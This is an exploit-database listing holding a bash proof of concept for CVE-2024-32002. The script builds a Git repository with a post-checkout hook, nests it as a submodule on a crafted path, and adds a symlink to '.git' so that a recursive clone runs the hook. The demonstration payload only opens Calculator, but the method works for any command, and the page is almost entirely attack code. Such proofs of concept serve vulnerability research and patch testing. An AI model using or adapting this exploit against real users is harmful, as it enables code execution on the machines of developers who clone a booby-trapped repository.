Sploitus

CVE-2024-32002-Exploit

kitploit · 2026-09-05

Exploit Code

MARKDOWN42 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BFENGJ-CVE-2024-32002-EXPLOIT
root@kitploit:~
    
    
    #!/bin/bash
    
    git init hook
    cd hook
    mkdir -p y/hooks
    cat > y/hooks/post-checkout <<EOF
    #!/bin/bash
    open -a Calculator.app
    EOF
    
    
    chmod +x y/hooks/post-checkout
    
    git add y/hooks/post-checkout
    git commit -m "post-checkout"
    git remote add origin some-email@example.com:bfengj/CVE-2024-32002-hook.git
    git push -u origin main
    
    cd ..
    
    
    git init exploit
    cd exploit
    git submodule add --name x/y some-email@example.com:bfengj/CVE-2024-32002-hook.git A/modules/x
    git commit -m "add-submodule"
    
    # Создание символической ссылки
    printf ".git" > dotgit.txt
    git hash-object -w --stdin < dotgit.txt > dot-git.hash
    printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
    git update-index --index-info < index.info
    git commit -m "add-symlink"
    git remote add origin some-email@example.com:bfengj/CVE-2024-32002-Exploit.git
    git push -u origin main
    cd ..
    
    # Тестирование
    git clone --recursive some-email@example.com:bfengj/CVE-2024-32002-Exploit.git exploited